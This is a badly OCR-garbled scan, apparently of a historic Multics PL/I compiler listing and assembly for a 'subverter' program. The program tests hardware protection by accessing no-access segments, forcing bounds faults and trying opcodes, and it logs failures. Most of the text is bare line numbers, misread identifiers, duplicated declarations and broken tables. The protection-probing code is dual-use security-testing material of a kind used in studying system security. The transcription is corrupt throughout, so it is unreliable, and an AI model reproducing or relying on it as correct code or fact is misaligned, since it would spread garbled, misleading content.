325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285
2286
2287
2288
2289
2290
2291
2292
2293
2294
2295
2296
2297
2298
2299
2300
2301
2302
2303
2304
2305
2306
2307
2308
2309
2310
2311
2312
2313
2314
2315
2316
2317
2318
2319
2320
2321
2322
2323
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349
2350
2351
2352
2353
2354
2355
2356
2357
2358
2359
2360
2361
2362
2363
2364
2365
2366
2367
2368
2369
2370
2371
2372
2373
2374
2375
2376
2377
2378
2379
2380
2381
2382
2383
2384
2385
2386
2387
2388
2389
2390
2391
2392
2393
2394
2395
2396
2397
2398
2399
2400
2401
2402
2403
2404
2405
2406
2407
2408
2409
2410
2411
2412
2413
2414
2415
2416
2417
2418
2419
2420
2421
2422
2423
2424
2425
2426
2427
2428
2429
2430
2431
2432
2433
2434
2435
2436
2437
2438
2439
2440
2441
2442
2443
2444
2445
2446
2447
2448
2449
2450
2451
2452
2453
2454
2455
2456
2457
2458
2459
2460
2461
2462
2463
2464
2465
2466
2467
2468
2469
2470
2471
2472
2473
2474
2475
2476
2477
2478
2479
2480
2481
2482
2483
2484
2485
2486
2487
2488
2489
2490
2491
2492
2493
2494
2495
2496
2497
2498
2499
2500
2501
2502
2503
2504
2505
2506
2507
2508
2509
2510
2511
2512
2513
2514
2515
2516
2517
2518
2519
2520
2521
2522
2523
2524
2525
2526
2527
2528
2529
2530
2531
2532
2533
2534
2535
2536
2537
2538
2539
2540
2541
2542
2543
2544
2545
2546
2547
2548
2549
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561
2562
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
25
```

```

11 codes (0:104) fixed bin int static init (0, 3, 6, 8, 10, 11, 12, 14, 15, 24, 25, 26, 28, 47, 56, 60,
12 72, 74, 75, 76, 80, 89, 90, 91, 92, 124, 136, 138, 139, 140, 152, 180, 204, 220, 252, 259,
13 268, 269, 263, 264, 266, 267, 268, 270, 271, 272, 274, 276, 278, 282, 284, 286, 298, 304, 306,
14 308, 309, 310, 311, 314, 315, 316, 318, 321, 322, 323, 324, 328, 329, 332, 334, 337, 338, 339,
15 340, 342, 344, 348, 350, 368, 369, 370, 371, 372, 374, 376, 378, 380, 382, 390, 392,
16 394, 409, 410, 420, 444, 457, 458, 472, 476, 504),
17 bounds_fault_ok condition,
18 get_odir_entry returns (char (16)),
19 clock_entry returns (fixed bin (71)),
20 subv8legal_ptr entry (ptr),
21 subv8try_op entry (fixed bin, ptr),
22 subv8illegal_ptr entry (ptr, fixed bin (35)),
23 subv8xed_fetcher entry (ptr, fixed bin (35)),
24 subv8id_inst entry (ptr),
25 subv8xed_storer entry (ptr),
26 hcs_fake_seg entry (char (*), char (*), fixed bin (5), ptr, fixed bin),
27 com_err_entry options (variable),
28 hcs_fac1_add1 entry (char (*), char (*), fixed bin (5), dlm (0:12) fixed bin (6), fixed
29 bin),
30 cu_level_get entry (fixed bin),
31 no_acc_ptr int static init (null ()),
32 read_ptr int static init (null ()),
33 read_ptr int static init (null ()),
34 code fixed bin,
35 fp ptr,
36 sp pointer init (pointer (fp, 0)),
37 array (0:262143) fixed bin (35) based,
38 blstr1ng bit (2359295) aligned based,
39 1 fixed bin (35),
40 1 fixed bin,
41 p ptr based,
42 rings (0:12) fixed bin (6)}

50 get_scratch_seg1
51 proc1
52 if scratch_p = null ( ) then call hcs_fake_seg ("", "subverter_temp_3_", "", 0:111b, scratch_p,
53 code);
54 call hcs_truncate_seg (scratch_p, 0, code);
55 end;
56 get_read_seg1
57 procedure;
58
59 call hcs_fake_seg ("", "subverter_temp_4_", "", 0:111b, read_p, code);
60 end;
61
62
63
64 get_no_acc_seg1
65 procedure;
66 if no_acc_p = null ( ) then call hcs_fake_seg ("", "subverter_temp_1_", "", 0:102b, no_acc_p, code);
67 end;
68
69 get_read_seg1

```

```

70 procedure;
71 if read_p = null () then
72 do;
73 call hcs_make_seg ("", "subverter_fsep-2-", "", 0111b, read_p, code);
74 read_p -> p = pointer (read_p, 7); /* create pointer to word 7 */
75 substr (unspec (read_p -> p), 67, 6) = "101110-b";
76 /* put in id modifier to its pointer */
77 read_p -> array (7) = 100000000b; /* fill in the tail in the indirect word */
78 call cu_slave_get (); /* get validation level */
79 rings (*) = 1;
80 call hcs_sacl_add1 (get_pdir_ (), "subverter_fsep-2-", "", 0100b, rings, code);
81 /* reset the acl */
82
83 end;
84
85
86
87 fetch;
88 entry (fp);
89 call get_no_acc_seg;
90 l = no_acc_p -> array (0);
91 time_of_failure = clock_ ();
92 scu_data (1) = 1;
93 return;
94
95
96 store;
97 entry (fp);
98 call get_no_acc_seg;
99 no_acc_p -> array (0) = 17;
100 time_of_failure = clock_ ();
101 return;
102
103
104 xed_fetch;
105 entry (fp);
106 call get_no_acc_seg;
107 call subxed_fetcher (no_acc_p, 1);
108 time_of_failure = clock_ ();
109 scu_data (1) = 1;
110 return;
111
112
113 xed_store;
114 entry (fp);
115 call get_no_acc_seg;
116 call subxed_storer (no_acc_p);
117 time_of_failure = clock_ ();
118 return;
119
120
121
122
123
124
125
126
127
128 legal_bounds_fault;
129 entry (fp);
130 call get_read_seg;
131 call subxid_inst (read_p);
132 time_of_failure = clock_ ();
133 return;
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999

```



```

129 entry (fp);
130   call get_rewa_seg;
131   call subillegal_of (rewa_p);
132   if rewa_p -> bitstring = "0" then signal condition (bounds_fault_ok);
133   do i = 0 to 65535;
134     if rewa_p -> array (i) = 0 then
135       do;
136         time_of_failure = clock;
137         scu_data (1) = 1;
138         scu_data (2) = rewa_p -> array (i);
139         return;
140       end;
141     scu_data (1) = -1;
142     scu_data (2) = 0;
143     return;
144   end;
145
146   /* indicate found non-zero first time */
147   /* but zero the second */
148
149   if legal_bounds_fault;
150     entry (fp);
151     call get_rewa_seg;
152     call subillegal_of (rewa_p);
153     time_of_failure = clock;
154     scu_data (1) = 1;
155     return;
156
157   if legal_opcodes;
158     entry (fp);
159     call get_scratch_seg;
160     if next_code = high_code then next_code = 0;
161     else next_code = next_code + 1;
162     call substry_op (codes (next_code), scratch_p);
163     time_of_failure = clock;
164     scu_data (1) = codes (next_code);
165     return;
166   end;

```

INCLUDE FILES USED IN THIS COMPILATION.

LINE	NUMBER	NAME	PATHNAME
5	1	subvert_statistics.incl.pli	>user_dir_dir>Orul d>Karger>compiler_peel>subver_statistics.incl.pli
6	2	failure_block.incl.pli	>user_dir_dir>Orul d>Karger>compiler_peel>failure_block.incl.pli

NAMES DECLARED IN THIS COMPILATION.

IDENTIFIER	OFFSET	LOC	STORAGE CLASS	DATA TYPE
NAMES DECLARED BY DECLARE STATEMENT.				
array			based	fixed bin(35,0)
bifstring			based	bit(2359295)
bounds_fault_ok			000100 stack reference	condition
clock			000210 constant	entry
code			000106 automatic	fixed bin(17,0)
codes			000012 internal static	fixed bin(17,0)
cu_level_get			000232 constant	entry
id			parameter	pointer
get_ptr				
hcs_sacl_add			000206 constant	entry
hcs_sacl_seg			000230 constant	entry
hcs_truncata_seg			000226 constant	entry
high_code			000204 constant	entry
i			constant	fixed bin(17,0)
j			000112 automatic	fixed bin(35,0)
next_code			000113 automatic	fixed bin(17,0)
no_acc_p			0(10)	fixed bin(17,0)
p			based	
read_p			000164 internal static	pointer
read_p			based	pointer
ring			000170 internal static	pointer
scratch_p			000166 internal static	pointer
scr_data			000114 automatic	fixed bin(6,0)
5			000010 internal static	pointer
5			based	fixed bin(17,0)
sp			000110 automatic	pointer
subvld_inst				
subvld_inst			000222 constant	entry
subvld_inst			000216 constant	entry
subvld_inst			000212 constant	entry
subvld_inst			000214 constant	entry
subvld_inst			000220 constant	entry
subvld_inst			000224 constant	entry
2			based	fixed bin(71,0)

NAMES DECLARED BY DECLARE STATEMENT AND NEVER REFERENCED.

coo_err			000000 constant	entry
cu_test_time		20	based	fixed bin(71,0)
cu_test_time		6	based	fixed bin(71,0)
cu_test		1	based	fixed bin(17,0)
end_of_segment		1	based	fixed bin(17,0)
failure_block		14	based	structure
failure_block		1(18)	based	fixed bin(17,0)
last_failure_block		16	based	fixed bin(17,0)
last_test_time		4	based	fixed bin(17,0)
next_block		12	based	fixed bin(17,0)
number_of_attempts		13	based	fixed bin(17,0)
number_of_failures		10	based	fixed bin(17,0)
number_of_tests		2	based	structure
subvrt_statistics			based	fixed bin(17,0)
test_in_progress			based	fixed bin(17,0)

ATTRIBUTES AND REFERENCES

array dcl 8 set ref 89 98 120 138 77	
dcl 8 ref 132	
dcl 8 ref 132	
external dcl 8 ref 98 99 107 116 124 126 151 161	
dcl 8 set ref 52 54 59 66 73 88	
initial array dcl 8 set ref 168 162	
external dcl 8 ref 78	
dcl 8 ref 86 98 91 95 99 103 107 108 112 116 120 124 128 136 137 138 142 143 147 151 152 159 161 162 8	
external dcl 8 ref 88 88	
external dcl 8 ref 88	
external dcl 8 ref 52 59 66 73	
external dcl 8 ref 54	
initial dcl 8 ref 158	
dcl 8 set ref 89 91 106 108 133 134 137 138 158 152	
dcl 8 set ref 78 79	
level 2 packed unaligned dcl 1-7 set ref 158 158 159 159 168 162	
initial dcl 8 set ref 89 98 106 115 116 116 116	
initial dcl 8 set ref 123 71 73 74 74 75 77	
initial dcl 8 set ref 121 122 124 138 158 99	
array dcl 8 set ref 79 88	
initial dcl 8 set ref 168 52 92 94	
array level 2 dcl 2-18 set ref 91 100 127 138 142 143 152 162	
initial dcl 8 set ref 8 158 158 159 159 168 162 3	
external dcl 8 ref 123	
external dcl 8 ref 158	
external dcl 8 ref 131	
external dcl 8 ref 168	
external dcl 8 ref 186	
level 2 dcl 2-18 set ref 98 99 107 116 124 126 151 151	
external dcl 8	
array level 3 dcl 1-7	
level 2 dcl 1-7	
level 2 packed unaligned dcl 1-7	
level 2 packed unaligned dcl 1-7	
level 1 dcl 2-18	
array level 3 packed unaligned dcl 1-7	
level 2 packed unaligned dcl 1-7	
array level 3 dcl 1-7	
level 2 packed unaligned dcl 2-18	
array level 3 dcl 1-7	
level 2 dcl 1-7	
level 1 dcl 1-7	
level 2 dcl 1-7	

143 000373	147 000377	149 000406	150 000407	151 000420	152 000432
153 000437	157 000447	150 000450	159 000461	160 000470	161 000504
162 000516	50 000530	52 000531	54 000600	55 000614	56 000615
59 000616	64 000664	66 000665	67 000734	69 000735	71 000736
73 000793	75 001014	77 001017	70 001021	79 001027	80 001042
83 001120					

[illegible]

Address	OpCode	OpName	OpType	OpSize	OpValue	OpComment
69	000110	6	00022	3521	20	
70	000111	2	00020	6521	00	
	000112	2	00100	3521	00	
	000113	2	77722	2521	00	
	000114	2	77700	3331	00	
	000115	6	00032	2501	00	
	000116	000000	4510	00		
	000117	00	000041	7100	04	
						0 master_mode_succeeded-*,lc
71						
72						
73						
74						
75	000120	2	00022	3521	20	
	000121	2	00020	6521	00	
	000122	2	00100	3521	00	
	000123	2	77722	2521	00	
	000124	2	77700	3331	00	
	000125	6	00032	2501	00	
	000126	000000	4530	00		
	000127	00	000031	7100	04	
						0 master_mode_succeeded-*,lc
76						
77						
78						
79						
80	000130	6	00022	3521	20	
	000131	2	00020	6521	00	
	000132	2	00100	3521	00	
	000133	2	77722	2521	00	
	000134	2	77700	3331	00	
	000135	6	00032	2501	00	
	000136	000000	2570	00		
	000137	00	000021	7100	04	
						0 master_mode_succeeded-*,lc
81						
82						
83						
84						
85	000140	6	00022	3521	20	
	000141	2	00020	6521	00	
	000142	2	00100	3521	00	
	000143	2	77722	2521	00	
	000144	2	77700	3331	00	
	000145	6	00032	2501	00	
	000146	000000	5570	00		
	000147	00	000011	7100	04	
						0 master_mode_succeeded-*,lc
86						
87						
88						
89						
90	000150	6	00022	3521	20	
	000151	2	00020	6521	00	
	000152	2	00100	3521	00	
	000153	2	77722	2521	00	
	000154	2	77700	3331	00	
	000155	6	00032	2501	00	
	000156	000000	6130	00		
	000157	00	000001	7100	04	
						0 master_mode_succeeded-*,lc
91						
92						
93						
94						
95						
96						
97						
98						
99						
100						

000165	40	4	00202	6331	20	103			
000166	00	2	00002	7551	00	104	cc1	<sys_info>(clock_1), Read the clock	
000167	00	2	00003	7561	00	105	sta	bp1time_of_failure Store high order bits	
000170	00	00000	6220	00	106	stq	bp1low_order_time Store low bits - can't use stae		
000171	00	00000	6220	00	107	eax2	0	Zero x2	
000172	00	6	00050	2361	12	bases_loop1	bases,2		
000173	00	2	00005	7561	12	ldq	bp1save_area,2		
000174	00	00001	6220	12	111	stq	1,2	Increment by 1	
000175	00	00010	1020	03	112	eax2	0,du	< 0 7	
000176	00	000171	6040	00	113	cmpx2	bases_loop		
000177	00	00000	6220	00	114	fm1	0		
000178	00	00000	6220	00	115	eax2	0		
000179	00	6	00060	2361	12	regs_loop1	registers,2		
000180	00	2	00015	7561	12	ldq	bp1save_area+0,2		
000181	00	6	00020	1731	20	stq			
000182	00	6	00010	0731	00	return			
000183	00	6	00024	6101	00				
000184	00	00001	6220	12	121	eax2	1,2	Increment loop counter by 1	
000185	00	00010	1020	03	122	cmpx2	0,du	< 0 7	
000186	00	000177	6040	00	123	fm1	-regs_loop		
000187	00	6	00070	2371	00	ldq	control		
000188	00	2	00025	7551	00	stq	bp1save_area+16		
000189	00	2	00026	7561	00	stq	bp1save_area+17		
000190	00	6	00022	3521	20	xed_fetcher1			
000191	00	2	00020	6521	00	save			
000192	00	2	00100	3521	00				
000193	00	2	77722	2521	00				
000194	00	2	77700	3331	00				
000195	00	6	00032	2501	00				
000196	00	0	00002	3521	20	eax2	ap12,*	set pointer to first arg	
000197	00	2	00000	3521	20	ebp2	bp10,*	first arg is a ptr	
000198	00	000261	7160	93	137	ecx	xed_fetch	execute the xed instruction	
000199	00	000254	7100	00	138	ira	fetch_succeeded		
000200	00	6	00022	3521	20	xed_storer1			
000201	00	2	00020	6521	00	save			
000202	00	2	00100	3521	00				
000203	00	2	77722	2521	00				
000204	00	2	77700	3331	00				
000205	00	6	00032	2501	00				
000206	00	0	00002	3521	20	ebp2	ap12,*		
000207	00	2	00000	3521	20	ebp2	bp10,*		
000208	00	000261	7160	93	144	ecx	xed_fetch		
000209	00	000254	7100	00	145	ira	fetch_succeeded		
000210	00	6	00022	3521	20	xed_storer1			
000211	00	2	00020	6521	00	save			
000212	00	2	00100	3521	00				
000213	00	2	77722	2521	00				
000214	00	2	77700	3331	00				
000215	00	6	00032	2501	00				
000216	00	0	00002	3521	20	ebp2	ap12,*		
000217	00	2	00000	3521	20	ebp2	bp10,*		
000218	00	000266	7160	00	146	ecx	xed_store		
000219	00	6	00020	1731	20	return			
000220	00	6	00010	0731	00				

PC	Instruction	Op	Op1	Op2	Op3	Op4	Op5	Op6	Op7	Op8	Op9	Op10	Op11	Op12	Op13	Op14	Op15	Op16	Op17	Op18	Op19	Op20	Op21	Op22	Op23	Op24	Op25	Op26	Op27	Op28	Op29	Op30	Op31	Op32	Op33	Op34	Op35	Op36	Op37	Op38	Op39	Op40	Op41	Op42	Op43	Op44	Op45	Op46	Op47	Op48	Op49	Op50	Op51	Op52	Op53	Op54	Op55	Op56	Op57	Op58	Op59	Op60	Op61	Op62	Op63	Op64	Op65	Op66	Op67	Op68	Op69	Op70	Op71	Op72	Op73	Op74	Op75	Op76	Op77	Op78	Op79	Op80	Op81	Op82	Op83	Op84	Op85	Op86	Op87	Op88	Op89	Op90	Op91	Op92	Op93	Op94	Op95	Op96	Op97	Op98	Op99	Op100	Op101	Op102	Op103	Op104	Op105	Op106	Op107	Op108	Op109	Op110	Op111	Op112	Op113	Op114	Op115	Op116	Op117	Op118	Op119	Op120	Op121	Op122	Op123	Op124	Op125	Op126	Op127	Op128	Op129	Op130	Op131	Op132	Op133	Op134	Op135	Op136	Op137	Op138	Op139	Op140	Op141	Op142	Op143	Op144	Op145	Op146	Op147	Op148	Op149	Op150	Op151	Op152	Op153	Op154	Op155	Op156	Op157	Op158	Op159	Op160	Op161	Op162	Op163	Op164	Op165	Op166	Op167	Op168	Op169	Op170	Op171	